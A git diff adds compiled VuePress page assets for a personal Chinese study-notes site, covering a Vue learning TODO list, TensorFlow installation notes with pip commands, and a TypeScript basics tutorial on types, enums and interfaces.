第一章_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",Pd,[e("p",null,[zd,e("label",Fd,[e("a",Id,[t("学习Vue3 第二章(配置环境)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",Wd,[e("p",null,[Rd,e("label",Td,[e("a",Gd,[t("学习Vue3 第三章(Vite目录 & Vue单文件组件)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",jd,[e("p",null,[Ud,e("label",Xd,[e("a",Md,[t("学习Vue3 第四章(模板语法 & vue指令)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",Od,[e("p",null,[Hd,e("label",Jd,[e("a",Zd,[t("学习Vue3 第五章(Vue核心虚拟Dom和 diff 算法)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",Kd,[e("p",null,[Qd,e("label",Yd,[e("a",$d,[t("学习Vue3 第六章(认识Ref全家桶)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",er,[e("p",null,[tr,e("label",sr,[e("a",lr,[t("学习Vue3 第七章(认识Reactive全家桶)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",ir,[e("p",null,[or,e("label",ar,[e("a",cr,[t("学习Vue3 第八章(认识to系列全家桶)_qq1195566313的博客-CSDN博客"),l(s)])])])])])]),nr]),dr,e("ul",null,[e("li",null,[t("VUE "),e("ul",rr,[e("li",hr,[e("p",null,[_r,e("label",kr,[e("a",br,[t("学习Vue3 第九章(认识computed计算属性)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",mr,[e("p",null,[pr,e("label",ur,[e("a",fr,[t("学习Vue3 第十章(认识watch侦听器)_qq1195566313的博客-CSDN博客_watch 函数"),l(s)])])])]),e("li",xr,[e("p",null,[gr,e("label",yr,[e("a",Er,[t("学习Vue3 第十一章(认识watchEffect高级侦听器)_qq1195566313的博客-CSDN博客"),l(s)])])])]),e("li",qr,[e("p",null,[Cr,e("label",Br,[e("a",Vr,[t("学习Vue3 第十二章(认识组件&Vue3生命周期)_qq1195566313的博客-CSDN博客"),l(s)])])])])])])]),wr,e("ul",null,[e("li",null,[t("Vue "),e("ul",Ar,[e("li",Lr,[Sr,e("label",vr,[e("a",Dr,[t("学习Vue3 第十三章(实操组件和认识less 和 scoped)_小满zs的博客-CSDN博客"),l(s)])])]),e("li",Nr,[Pr,e("label",zr,[e("a",Fr,[t("学习Vue3 第十四章(父子组件传参)_小满zs的博客-CSDN博客_vue3 父子组件传参"),l(s)])])])])])]),Ir,Wr,Rr,e("ul",null,[e("li",null,[t("Vue "),e("ul",Tr,[e("li",Gr,[jr,e("label",Ur,[e("a",Xr,[t("学习Vue3 第十五章(全局组件,局部组件,递归组件)_小满zs的博客-CSDN博客"),l(s)])])]),e("li",Mr,[Or,e("label",Hr,[e("a",Jr,[t("学习Vue3 第十六章(动态组件)_小满zs的博客-CSDN博客_vue3 动态组件"),l(s)])])]),e("li",Zr,[Kr,e("label",Qr,[e("a",Yr,[t("学习Vue3 第十七章(插槽slot)_小满zs的博客-CSDN博客"),l(s)])])])])])]),$r,e("ul",eh,[e("li",th,[e("p",null,[sh,e("label",lh,[e("a",ih,[t("学习Vue3 第十八章(异步组件&代码分包&suspense)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",oh,[e("p",null,[ah,e("label",ch,[e("a",nh,[t("学习Vue3 第十九章(Teleport传送组件)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",dh,[e("p",null,[rh,e("label",hh,[e("a",_h,[t("学习Vue3 第二十章(keep-alive缓存组件)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",kh,[e("p",null,[bh,e("label",mh,[e("a",ph,[t("学习Vue3 第二十一章(transition动画组件)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",uh,[e("p",null,[fh,e("label",xh,[e("a",gh,[t("学习Vue3 第二十二章(transition-group过度列表)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",yh,[e("p",null,[Eh,e("label",qh,[e("a",Ch,[t("学习Vue3 第二十三章(依赖注入Provide / Inject)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Bh,[e("p",null,[Vh,e("label",wh,[e("a",Ah,[t("学习Vue3 第二十四章(兄弟组件传参和Bus)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Lh,[e("p",null,[Sh,e("label",vh,[e("a",Dh,[t("学习Vue3 第二十五章(TSX)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Nh,[e("p",null,[Ph,e("label",zh,[e("a",Fh,[t("学习Vue3 第二十六章(深入v-model)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Ih,[e("p",null,[Wh,e("label",Rh,[e("a",Th,[t("学习Vue3 第二十七章(自定义指令directive)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Gh,[e("p",null,[jh,e("label",Uh,[e("a",Xh,[t("学习Vue3 第二十八章(自定义Hooks)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Mh,[e("p",null,[Oh,e("label",Hh,[e("a",Jh,[t("学习Vue3 第二十九章(Vue3定义全局函数和变量)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Zh,[e("p",null,[Kh,e("label",Qh,[e("a",Yh,[t("学习Vue3 第三十章(编写Vue3插件)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",$h,[e("p",null,[e_,e("label",t_,[e("a",s_,[t("学习Vue3 第三十一章(了解UI库ElementUI,AntDesigin等)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",l_,[e("p",null,[i_,e("label",o_,[e("a",a_,[t("学习Vue3 第三十二章(详解Scoped和样式 穿透)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",null,[c_,e("ul",n_,[e("li",d_,[r_,e("label",h_,[e("a",__,[t("学习Pinia 第一章(介绍Pinia)_小满zs的博客-CSDN博客"),l(s)])])]),e("li",k_,[b_,e("label",m_,[e("a",p_,[t("学习Pinia 第二章(初始化仓库Store)_小满zs的博客-CSDN博客"),l(s)])])])])])]),u_,e("ul",f_,[e("li",x_,[e("p",null,[g_,e("label",y_,[e("a",E_,[t("学习Pinia 第三章(State)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",q_,[e("p",null,[C_,e("label",B_,[e("a",V_,[t("学习Pinia 第四章(解构store)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",w_,[e("p",null,[A_,e("label",L_,[e("a",S_,[t("学习Pinia 第五章(Actions,getters)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",v_,[e("p",null,[D_,e("label",N_,[e("a",P_,[t("学习Pinia 第六章(API)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",z_,[e("p",null,[F_,e("label",I_,[e("a",W_,[t("学习Pinia 第七章(pinia插件)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",null,[R_,e("ul",T_,[e("li",G_,[j_,e("label",U_,[e("a",X_,[t("小满Router(第一章入门)_小满zs的博客-CSDN博客"),l(s)])])]),e("li",M_,[O_,e("label",H_,[e("a",J_,[t("小满Router(第二章-命名路由-编程式导航)_小满zs的博客-CSDN博客"),l(s)])])]),e("li",Z_,[K_,e("label",Q_,[e("a",Y_,[t("小满Router(第三章-历史记录)_小满zs的博客-CSDN博客"),l(s)])])])])])]),$_,e("ul",ek,[e("li",tk,[e("p",null,[sk,e("label",lk,[e("a",ik,[t("小满Router(第四章-路由传参)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",ok,[e("p",null,[ak,e("label",ck,[e("a",nk,[t("小满Router(第五章-嵌套路由)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",dk,[e("p",null,[rk,e("label",hk,[e("a",_k,[t("小满Router(第六章-命名视图)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",kk,[e("p",null,[bk,e("label",mk,[e("a",pk,[t("小满Router(第七章-重定向-别名)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",uk,[e("p",null,[fk,e("label",xk,[e("a",gk,[t("小满Router(第八章-导航守卫)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",yk,[e("p",null,[Ek,e("label",qk,[e("a",Ck,[t("小满Router(第九章-路由元信息)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Bk,[e("p",null,[Vk,e("label",wk,[e("a",Ak,[t("小满Router(第十章-路由过渡动效)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Lk,[e("p",null,[Sk,e("label",vk,[e("a",Dk,[t("小满Router(第十一章-滚动行为)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",Nk,[e("p",null,[Pk,e("label",zk,[e("a",Fk,[t("小满Router(第十二章-动态路由)_小满zs的博客-CSDN博客"),l(s)])])])]),e("li",null,[Ik,e("ul",Wk,[e("li",Rk,[Tk,e("label",Gk,[e("a",jk,[t("Vue3 + vite + Ts + pinia + 实战 + 源码 (bilibili.com)P50~60"),l(s)])])])])]),e("li",null,[Uk,e("ul",Xk,[e("li",Mk,[Ok,e("label",Hk,[e("a",Jk,[t("学习Pm2 第一章_小满zs的博客-CSDN博客"),l(s)])])])])])])])}const eb=i(d,[["render",Zk],["__file","TODOLIST.html.vue"]]);export{eb as default};
diff --git a/assets/TODOLIST.html-ddac6f94.js b/assets/TODOLIST.html-ddac6f94.js
new file mode 100644
index 0000000000..a06d4abc8e
--- /dev/null
+++ b/assets/TODOLIST.html-ddac6f94.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-808379e2","path":"/CS/TODOLIST.html","title":"任务清单","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"先导课程(2021/12/19 - 2022/3/19, 共 13 周)","slug":"先导课程-2021-12-19-2022-3-19-共-13-周","link":"#先导课程-2021-12-19-2022-3-19-共-13-周","children":[{"level":3,"title":"第 1 周(12.20-12.26)","slug":"第-1-周-12-20-12-26","link":"#第-1-周-12-20-12-26","children":[]},{"level":3,"title":"第 2 周(12.27-1.2)","slug":"第-2-周-12-27-1-2","link":"#第-2-周-12-27-1-2","children":[]},{"level":3,"title":"第 3 周(1.3-1.9)","slug":"第-3-周-1-3-1-9","link":"#第-3-周-1-3-1-9","children":[]},{"level":3,"title":"第 4 周(1.10-1.16)","slug":"第-4-周-1-10-1-16","link":"#第-4-周-1-10-1-16","children":[]},{"level":3,"title":"第 5 周(1.17-1.23)","slug":"第-5-周-1-17-1-23","link":"#第-5-周-1-17-1-23","children":[]},{"level":3,"title":"第 6 周(1.24-1.30)","slug":"第-6-周-1-24-1-30","link":"#第-6-周-1-24-1-30","children":[]},{"level":3,"title":"第 7 周(1.31-2.6)","slug":"第-7-周-1-31-2-6","link":"#第-7-周-1-31-2-6","children":[]},{"level":3,"title":"第 8 周(2.7-2.13)","slug":"第-8-周-2-7-2-13","link":"#第-8-周-2-7-2-13","children":[]},{"level":3,"title":"第 9 周(2.14-2.20)","slug":"第-9-周-2-14-2-20","link":"#第-9-周-2-14-2-20","children":[]},{"level":3,"title":"第 10 周(2.21-2.27)","slug":"第-10-周-2-21-2-27","link":"#第-10-周-2-21-2-27","children":[]},{"level":3,"title":"第 11 周(2.28-3.6)","slug":"第-11-周-2-28-3-6","link":"#第-11-周-2-28-3-6","children":[]},{"level":3,"title":"第 12 周(3.7-3.13)","slug":"第-12-周-3-7-3-13","link":"#第-12-周-3-7-3-13","children":[]},{"level":3,"title":"第 13 周(3.14-3.20)","slug":"第-13-周-3-14-3-20","link":"#第-13-周-3-14-3-20","children":[]}]},{"level":2,"title":"VUE 相关技术栈学习(2022/3/21-2022/4/3, 共 2 周)","slug":"vue-相关技术栈学习-2022-3-21-2022-4-3-共-2-周","link":"#vue-相关技术栈学习-2022-3-21-2022-4-3-共-2-周","children":[{"level":3,"title":"第 1 周(3.21-3.27)","slug":"第-1-周-3-21-3-27","link":"#第-1-周-3-21-3-27","children":[]},{"level":3,"title":"第 2 周(3.28-4.3)","slug":"第-2-周-3-28-4-3","link":"#第-2-周-3-28-4-3","children":[]},{"level":3,"title":"第 3 周(4.4-4.10)","slug":"第-3-周-4-4-4-10","link":"#第-3-周-4-4-4-10","children":[]},{"level":3,"title":"第 4 周(4.11-4.17)","slug":"第-4-周-4-11-4-17","link":"#第-4-周-4-11-4-17","children":[]}]}],"git":{"createdTime":1667829676000,"updatedTime":1672971559000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":12.96,"words":3888},"filePathRelative":"CS/TODOLIST.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/TensorFlow.html-1de30916.js b/assets/TensorFlow.html-1de30916.js
new file mode 100644
index 0000000000..d2635085aa
--- /dev/null
+++ b/assets/TensorFlow.html-1de30916.js
@@ -0,0 +1 @@
+const e=JSON.parse(`{"key":"v-5decc6d4","path":"/Language/Python/libs/TensorFlow/TensorFlow.html","title":"TensorFlow","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"安装报错记录","slug":"安装报错记录","link":"#安装报错记录","children":[{"level":3,"title":"ModuleNotFoundError: No module named 'numpy.core._multiarray_umath'","slug":"modulenotfounderror-no-module-named-numpy-core-multiarray-umath","link":"#modulenotfounderror-no-module-named-numpy-core-multiarray-umath","children":[]},{"level":3,"title":"ImportError: cannot import name '_ccallback_c'","slug":"importerror-cannot-import-name-ccallback-c","link":"#importerror-cannot-import-name-ccallback-c","children":[]},{"level":3,"title":"接收的某个项目的依赖安装记录","slug":"接收的某个项目的依赖安装记录","link":"#接收的某个项目的依赖安装记录","children":[]}]}],"git":{"createdTime":1694760760000,"updatedTime":1694760760000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":1.14,"words":343},"filePathRelative":"Language/Python/libs/TensorFlow/TensorFlow.md","localizedDate":"2023年9月15日","excerpt":""}`);export{e as data};
diff --git a/assets/TensorFlow.html-fdf6fc3a.js b/assets/TensorFlow.html-fdf6fc3a.js
new file mode 100644
index 0000000000..1451cb4cd6
--- /dev/null
+++ b/assets/TensorFlow.html-fdf6fc3a.js
@@ -0,0 +1,16 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as a,o as r,c as s,b as e,e as n,d,f as i}from"./app-880c6425.js";const t={},c=e("hr",null,null,-1),u=e("h1",{id:"tensorflow",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#tensorflow","aria-hidden":"true"},"#"),n(" TensorFlow")],-1),p=e("hr",null,null,-1),m=e("h2",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),h=i(`TensorFlow
安装的时候需要装dll
,因此不可以通过直接拷贝别人装好的的site-packages/TensorFlow...
来安装相应环境命令行执行pip install TensorFlow --user --no-warn-script-location
+
--user
: pip 默认安装 package 到 system directory, 通过 --user 可以将 package 安装到 /home 路径下--no-warn-script-location
: 忽略脚本警告个人使用清华的源安装 TensorFlow
时经常超时,可以使用阿里的源 pip install TensorFlow --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
`,2),v=e("code",null,"TensorFlow",-1),_=e("code",null,"keras",-1),b=e("code",null,"python",-1),y={href:"https://docs.floydhub.com/guides/environments/",target:"_blank",rel:"noopener noreferrer"},x=i(`最新版本的 TensorFlow2.2.0
适配 keras2.3.1
+ python3.7.
找网上的往期项目往往依赖比较老,例如:from keras. engine. saving
+
相应版本 keras2.2.4
对应 python3.6.
, tensorflow 1.13.0
安装时可以pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
这里注意阿里云的源中 1.13.0 后都有rc 因此直接 ==1.13.0
会报错找不到相应版本,因此这里安装1.13.1
`,2),g=i(` 安装报错记录 ModuleNotFoundError: No module named 'numpy.core._multiarray_umath'
适应 numpy
版本 1.14.6 ~ 1.17.2
满足 tensorflow1.13.1
要求的 numpy >= 1.13.3
numpy==1.15.0
测试成功 ImportError: cannot import name '_ccallback_c'
接收的某个项目的依赖安装记录 pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install opencv-python -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install matplotlib -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install Pillow -i https://mirrors.aliyun.com/pypi/simple/
+
+
`,11);function f(w,k){const o=a("ExternalLinkIcon");return r(),s("div",null,[c,u,p,m,e("ul",null,[h,e("li",null,[v,n(" 与 "),_,n(" 以及 "),b,n(" 版本要相匹配 "),e("ul",null,[e("li",null,[e("a",y,[n("表格参考"),d(o)])]),x])])]),g])}const N=l(t,[["render",f],["__file","TensorFlow.html.vue"]]);export{N as default};
diff --git a/assets/TypeScript.html-7119b0ba.js b/assets/TypeScript.html-7119b0ba.js
new file mode 100644
index 0000000000..edad9d5d6a
--- /dev/null
+++ b/assets/TypeScript.html-7119b0ba.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-7ec84d70","path":"/Language/TypeScript/TypeScript.html","title":"TypeScript","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"教程","slug":"教程","link":"#教程","children":[]},{"level":2,"title":"类型","slug":"类型","link":"#类型","children":[{"level":3,"title":"关键字","slug":"关键字","link":"#关键字","children":[]},{"level":3,"title":"模板字符串","slug":"模板字符串","link":"#模板字符串","children":[]},{"level":3,"title":"枚举","slug":"枚举","link":"#枚举","children":[]},{"level":3,"title":"unknown 类型","slug":"unknown-类型","link":"#unknown-类型","children":[]},{"level":3,"title":"类型断言","slug":"类型断言","link":"#类型断言","children":[]},{"level":3,"title":"类型保护","slug":"类型保护","link":"#类型保护","children":[]},{"level":3,"title":"联合类型","slug":"联合类型","link":"#联合类型","children":[]},{"level":3,"title":"交叉类型","slug":"交叉类型","link":"#交叉类型","children":[]},{"level":3,"title":"对象类型","slug":"对象类型","link":"#对象类型","children":[]}]},{"level":2,"title":"接口","slug":"接口","link":"#接口","children":[{"level":3,"title":"TypeScript 中的接口概述","slug":"typescript-中的接口概述","link":"#typescript-中的接口概述","children":[]},{"level":3,"title":"扩展接口","slug":"扩展接口","link":"#扩展接口","children":[]},{"level":3,"title":"使用接口的其他方法","slug":"使用接口的其他方法","link":"#使用接口的其他方法","children":[]}]},{"level":2,"title":"函数","slug":"函数","link":"#函数","children":[{"level":3,"title":"命名函数","slug":"命名函数","link":"#命名函数","children":[]},{"level":3,"title":"匿名函数","slug":"匿名函数","link":"#匿名函数","children":[]},{"level":3,"title":"箭头函数","slug":"箭头函数","link":"#箭头函数","children":[]},{"level":3,"title":"参数","slug":"参数","link":"#参数","children":[]},{"level":3,"title":"定义函数类型","slug":"定义函数类型","link":"#定义函数类型","children":[]}]},{"level":2,"title":"Tips","slug":"tips","link":"#tips","children":[{"level":3,"title":"VSCode","slug":"vscode","link":"#vscode","children":[]},{"level":3,"title":"在线编译运行","slug":"在线编译运行","link":"#在线编译运行","children":[]}]},{"level":2,"title":"Promise","slug":"promise","link":"#promise","children":[{"level":3,"title":"创建 Promise","slug":"创建-promise","link":"#创建-promise","children":[]}]}],"git":{"createdTime":1667831333000,"updatedTime":1675159577000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":19.37,"words":5811},"filePathRelative":"Language/TypeScript/TypeScript.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/TypeScript.html-749d436f.js b/assets/TypeScript.html-749d436f.js
new file mode 100644
index 0000000000..3fe803c27d
--- /dev/null
+++ b/assets/TypeScript.html-749d436f.js
@@ -0,0 +1,261 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as c,c as l,b as n,e as s,d as e,f as t}from"./app-880c6425.js";const i={},u=t(' TypeScript 安装 ',4),r={href:"https://nodejs.org/en/download/",target:"_blank",rel:"noopener noreferrer"},d=t(`在命令行执行如下命令以全局安装 TypeScript
+npm install –g typescript
+
+tsc --version
+
`,1),k=n("hr",null,null,-1),m=n("h2",{id:"教程",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#教程","aria-hidden":"true"},"#"),s(" 教程")],-1),b=n("hr",null,null,-1),v={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-get-started/1-introduction",target:"_blank",rel:"noopener noreferrer"},h={href:"https://www.bilibili.com/video/BV1o64y1k7Fp",target:"_blank",rel:"noopener noreferrer"},g={href:"https://www.tslang.cn/samples/index.html",target:"_blank",rel:"noopener noreferrer"},y={href:"https://typescript.bootcss.com/tutorials/typescript-in-5-minutes.html",target:"_blank",rel:"noopener noreferrer"},f={href:"https://www.runoob.com/typescript/ts-tutorial.html",target:"_blank",rel:"noopener noreferrer"},_=n("hr",null,null,-1),w=n("h2",{id:"类型",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#类型","aria-hidden":"true"},"#"),s(" 类型")],-1),E={href:"https://typescript.bootcss.com/basic-types.html",target:"_blank",rel:"noopener noreferrer"},x={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/",target:"_blank",rel:"noopener noreferrer"},A=t('
void
类型的存在纯粹是为了指示不存在值,例如存在于没有返回值的函数中null
和 undefined
类型是所有其他类型的子类型。 无法显式引用 null 和 undefined 类型。 使用 null
和 undefined
字面量只能引用这些类型的值。 关键字 var, let 与 const ',6),B={href:"https://zhuanlan.zhihu.com/p/396435904",target:"_blank",rel:"noopener noreferrer"},S=t(`使用 var
声明变量的时候,可以同时声明某个变量多次,但是只有最后一个生效。
而 let
不支持这样做,使用 let
声明变量,一个变量同时只能声明一次,否则会报错。
+var a = 1 ;
+var a = 2 ;
+console . log ( a) ;
+
+
+let b = 1 ;
+let b = 2 ;
+console . log ( b) ;
+
let 的作用域在其所在块内, const 也是如此
const 与 let 的不同之处在于其声明的变量只能在声明时被赋值, 也即使用 const 生命的变量被赋值后无法再改变变量所指向的内存地址(指针)
const 声明常量后无法改变值, 但是使用 const 声明一个对象后, 虽然对象变量锁指向的内存地址不改变, 但是对象的属性是可变的
+const c = 1 ;
+c = 2 ;
+
+
+const d = {
+ name: '咸鱼型233'
+} ;
+d. name = '233' ;
+
模板字符串 在 TypeScript 中,还可以使用模板字符串,该模板字符串可以跨越多行并具有嵌入式表达式。 这些字符串由反撇号/反引号 (\`) 字符括起,并且嵌入式表达式的形式为 \${ expr }
。
枚举 `,13),q={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/4-enums",target:"_blank",rel:"noopener noreferrer"},N={href:"https://juejin.cn/post/6998318291420708900",target:"_blank",rel:"noopener noreferrer"},T=t(`枚举提供了一种处理相关常量集的简单方法。 enum
是一组值的符号名。 枚举被视为数据类型,你可以使用它们来创建用于变量和属性的常量集。
每当过程接受一组有限的变量时,请考虑使用枚举。 枚举使代码更清晰、可读性更好,尤其是在使用有意义的名称时。
使用枚举:
帮助减少由于转置或错误输入数字而导致的错误。 使将来更改值变得容易。 使代码更易于阅读,这意味着不太可能出现错误。 确保向前兼容性。 通过使用枚举,将来有人更改与成员名称对应的值时,代码失败的可能性更小。
+enum Grade {
+ freshman,
+ sophomore,
+ junior,
+ senior,
+}
+let ayusummer: Grade = Grade. senior;
+console . log ( "233:" + ayusummer) ;
+
+
+enum Grade2 {
+ freshman = 2 ,
+ sophomore,
+ junior,
+ senior,
+}
+let ayusummer2: Grade2 = Grade2. senior;
+console . log ( "233:" + ayusummer2) ;
+console . log ( "233:" + Grade2[ ayusummer2] ) ;
+
unknown 类型 `,8),C={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/5-any-unknown",target:"_blank",rel:"noopener noreferrer"},M=t(`any
类型虽然很灵活,但可能会导致意外错误。 为了解决这个问题,TypeScript 引入了 unknown
类型。
unknown
类型与 any
类型的相似之处在于,可以将任何值赋予类型 unknown
。 但无法访问 unknown
类型的任何属性,也不能调用或构造它们。
+let randomValue: unknown = 10 ;
+randomValue = true ;
+randomValue = 'Mateo' ;
+
+console . log ( randomValue. name) ;
+randomValue ( ) ;
+randomValue. toUpperCase ( ) ;
+
any
和 unknown
之间的核心区别在于你无法与 unknown
类型的变量进行交互;这样做会产生“编译器”错误。 any
将绕过所有编译时检查,并且在运行时评估对象;如果该方法或属性存在,它将表现出预期的效果。
类型断言 如果需要将变量视为其他数据类型,则可以使用类型断言。
类型断言有两种形式。 一种是 as
语法:
( randomValue as string ) . toUpperCase ( ) ;
+
另一个版本是“尖括号”语法:
( < string > randomValue) . toUpperCase ( ) ;
+
as
是首选语法。 使用 < >
进行类型转换时,某些 TypeScript 应用程序(例如 JSX)可能会发生混淆。
let randomValue: unknown = 10 ;
+
+randomValue = true ;
+randomValue = 'Mateo' ;
+
+if ( typeof randomValue === "string" ) {
+ console . log ( ( randomValue as string ) . toUpperCase ( ) ) ;
+} else {
+ console . log ( "Error - A string was expected here." ) ;
+}
+
类型保护 前面的示例演示了在 if
块中使用 typeof
在运行时检查表达式的类型。 这称为“类型保护”。
你可能熟悉在 JavaScript 中使用 typeof
和 instanceof
来测试这些条件。 TypeScript 了解这些条件,并在 if
块中使用时会相应地更改类型推理。
可以使用以下条件来了解变量的类型:
类型 Predicate string
typeof s === "string"
number
typeof n === "number"
boolean
typeof b === "boolean"
undefined
typeof undefined === "undefined"
function
typeof f === "function"
array
Array.isArray(a)
联合类型 `,23),D={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/6-unions-intersections",target:"_blank",rel:"noopener noreferrer"},I=t(`联合类型描述的值可以是几种类型之一。 当值不受控制时(例如,来自库、API 或用户输入的值),这将很有帮助。
联合类型使用竖线 (|
) 分隔每种类型。
+let age: number | string ;
+let age1: number | string ;
+age = 20 ;
+age1 = "二十" ;
+console . log ( age) ;
+console . log ( age1) ;
+
交叉类型 `,6),P={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/6-unions-intersections",target:"_blank",rel:"noopener noreferrer"},V=t(`交叉类型与联合类型密切相关,但它们的使用方式完全不同。 交叉类型组合两个或多个类型以创建具有现有类型的所有属性的新类型。 这使你可以将现有类型加在一起,以获得具有所需所有功能的单个类型。
交叉类型使用与号 (&
) 分隔每种类型。
type ManagementEmployee = Employee & Manager;
+
交叉类型最常与接口一起使用。 以下示例定义了两个接口 Employee
和 Manager
,然后创建了一个称为 ManagementEmployee
的新交叉类型,该交叉类型将两个接口中的属性组合在一起。
interface Employee {
+ employeeID: number ;
+ age: number ;
+}
+interface Manager {
+ stockPlan: boolean ;
+}
+type ManagementEmployee = Employee & Manager;
+let newManager: ManagementEmployee = {
+ employeeID: 12345 ,
+ age: 34 ,
+ stockPlan: true
+} ;
+console . log ( newManager) ;
+console . log ( newManager. stockPlan) ;
+console . log ( newManager. age) ;
+console . log ( newManager. employeeID) ;
+
对象类型 `,8),F={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-declare-variable-types/7-collection-types",target:"_blank",rel:"noopener noreferrer"},L=t(`对象类型是所有类、接口、数组和字面量类型(不是基元类型的任何类型)
数组 两种方法混合使用并没有好处,所以要决定使用哪种语法。
个人更倾向于泛型写法, 因为字面上含义比较明确
元组 拥有相同值类型的数组很有用,但有时一个数组可能包含混合类型的值。 为此,TypeScript 提供了元组类型。 若要声明元组,请使用语法 variableName: [type, type, ...]
。
+let person1: [ string , number ] = [ 'Marcia' , 35 ] ;
+console . log ( person1) ;
+
接口 TypeScript 中的接口概述 `,16),j={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-implement-interfaces/2-interfaces-typescript",target:"_blank",rel:"noopener noreferrer"},z=t(`可以使用接口来描述对象、命名和参数化对象的类型,以及将现有的命名对象类型组成新的对象类型。
interface Employee {
+ firstName: string ;
+ lastName: string ;
+ fullName ( ) : string ;
+}
+
接口的唯一任务是描述类型。 它定义了代码协定所需的内容,而实现接口的变量、函数或类则通过提供所需的实现详细信息来满足协定。
TypeScript 编码准则建议接口不应以字母 I
开头。
定义该接口的属性(或成员)及其类型。 属性可以为必需、可选或只读属性。
属性类型 说明 示例 必须 除非另行指定,否则所有属性都是必需的。 firstName: string;
可选 在属性名称的末尾添加问号 (?
)。 对于不是必需的属性,请使用此属性。 这可以防止类型系统在省略该属性时引发错误。 firstName?: string;
只读 在属性名称的前面添加 readonly 关键字。 对于只应在首次创建对象时修改的属性,请使用此属性。 readonly firstName: string;
定义接口后,可以将其用作类型,并可享受到类型检查和 Intellisense 的所有好处。
此示例通过声明类型 Employee
的变量来实现接口。 它通过传入 firstName
和 lastName
属性的值并指定 fullName
方法需结合使用 firstName
和 lastName
属性并返回结果,来实现协定。
let employee: Employee = {
+ firstName : "Emil" ,
+ lastName: "Andersson" ,
+ fullName ( ) : string {
+ return this . firstName + " " + this . lastName;
+ }
+}
+
+employee. firstName = 10 ;
+
接口没有运行时表示形式;它们只是一种编译时构造。 接口对于记录和验证属性的所需形状、作为参数传递的对象以及从函数返回的对象特别有用。 这使你可以捕获错误,并确保在编译时传递正确的参数,而不用等待在运行时发现它们。
